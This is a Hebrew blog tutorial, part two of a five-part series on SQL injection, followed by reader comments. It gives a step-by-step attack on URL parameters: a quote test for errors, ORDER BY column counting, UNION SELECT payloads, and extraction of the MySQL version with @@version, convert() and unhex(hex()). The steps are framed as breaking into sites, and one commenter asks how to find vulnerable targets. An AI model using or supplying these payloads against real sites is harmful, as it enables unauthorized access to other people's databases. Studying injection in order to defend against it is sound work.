מדריך: הזרקות SQL (חלק 2)

לימוד המערכת

כל פריצה מתחילה בשלב של לימוד המערכת. קודם כל, צריך לבדוק האם האתר עצמו הוא פריץ (ניתן לפריצה) או לא. בשביל שאתר יהיה פריץ, צריכים לוודא קודם כל שאכן יש שימוש במסד נתונים (ובשאילתות SQL). כדי לדעת, פשוט נסתכל אל שורת הכתובת. אם שורת הכתובת מכילה פרמטרים משתנים, סביר מאוד להניח שהיא משתמשת בSQL, ולכן – אולי פריצה.

שורה לדוגמא, המכילה פרמטרים משתנים:

http://www.domain.com/?id=2

1. בדיקה האם האתר פריץ.

כדי לבחון אם האתר פריץ או לא, במקום 2, נוסיף את התו ', וניכנס לעמוד. שורת הכתובת שלנו תיראה עכשיו כך:

'http://www.domain.com/?id=2

במידה וקיבלנו הודעת שגיאה, שהולכת בערך ככה:

"…You have an error in your SQL syntax; check the manual"

סימן שהאתר פגיע, ואפשר להשתמש בהזרקה רגילה.

2. מציאת מספר הטורים בטבלה.

אחרי שקיבלנו את הודעת השגיאה, נוריד את ה-' ונשים אחרי הפרמטר (בדוגמא – 2) את המילים "order by 1". ניכנס לתוצאה. לא אמורה להיות הודעת שגיאה. נתחיל ונעלה בהדרגה את המספר שאחרי הorder by עד שתהיה לנו שגיאה כלשהי.

אין שגיאה // http://www.domain.com/?id=2 order by 1

אין שגיאה // http://www.domain.com/?id=2 order by 2

אין שגיאה // http://www.domain.com/?id=2 order by 3

יש שגיאה! // http://www.domain.com/?id=2 order by 4

נניח וכשהכנסנו את order by 4 הייתה שגיאה. (משהו בסגנון Unknown column '4' in 'order clause'). זה אומר שיש לנו 3 טורים סה"כ (יכולים להיות הרבה יותר).

3. בחירת מידע עם Union.

הפונקציה UNION עוזרת לנו לבחור הרבה מידע עם מעט טקסט.

http://www.domain.com/?id=2 union all select 1,2,3

שימו לב שגילינו בסעיף 2 שיש לנו 3 טורים. יכולים להיות הרבה יותר.

אם הכל הלך כמו שצריך, אנחנו אמורים לראות את אחד (או יותר) מהמספרים על המסך. (כלומר 1,2,3)

4. מציאת גרסאת הMySQL על השרת.

אם הכל הלך כמו שצריך עד עכשיו, אז גם השלב הבא צריך לעבור חלק. היה לנו עד עכשיו –

http://www.domain.com/?id=2 union all select 1,2,3

ונניח שהופיע לנו המספר 2 על המסך. אז אנחנו נוסיף את הפונקציה ()version או version@@ (שימו לב לכתוב נכון) במקום המספר שהופיע על המסך, בשביל לרשום את הגרסא של הMySQL במקומו על המסך. שורת הכתובת שלנו צריכה להראות בערך כך –

http://www.domain.com/?id=2 union all select 1,@@version,3

כיום, ישנן שתי גרסאות נפוצות של MySQL. גרסא ארבע וגרסא חמש. המספר 2 צריך להתחלף בעמוד עצמו למספר הגרסא – שזה אומר או ל-4 או ל-5 (נקודה משהו משהו…) אבל לנו משנה רק הספרה הראשונה – ארבע או חמש.

במידה ומשהו השתבש, ואנחנו רואים ארור שהולך בערך ככה:

"union + illegal mix of collations (IMPLICIT + COERCIBLE) …"

אז אנחנו צריכים להשתמש בפונקציית convert(), ובעצם להחליף את הפונקציה שהייתה לנו בשורת הכתובת בפונקציה שעברה שינוי. שורת הכתובת שלנו צריכה להראות בערך כך –

http://www.domain.com/?id=2 union all select 1,convert(@@version using latin1),3

או, אפשרות נוספת היא להשתמש בhex() ובunhex(), כך:

http://www.domain.com/?id=2 union all select 1,unhex(hex(@@version)),3

ואז תראו את הגרסא של הMySQL.

6 תגובות ל “מדריך: הזרקות SQL (חלק 2)”

  1. פוסט זה הוא חלק ממדריך בן חמישה חלקים.
    לחלק הראשון | לחלק השני |לחלק השלישי | לחלק הרביעי – הזרקה עיוורת | לחלק החמישי – התגוננות

  2. אחלה תודה, מוכר. עוזר לאבטחה של ה – GET, תודה.

  3. אחי אתה תותח איזה מדריך!!!!! תותח!!!!!!!!!!!!!!!!!!!
    אני רוצה שתיצור איתי קשר באימייל

  4. מדריך מצויין!

  5. אחי,
    אני לא מצליח למצוא אתרים אם אם משתנים כמו שהראתה בהתחלת חלק 2 יש איזה טיפ או אפשרות לפרט ?
    בתודה יוסי

  6. מעולה,פצצה תמשיך!!! לימדת אותי המון
    המדריך הכי טוב עד כה

הוסף תגובה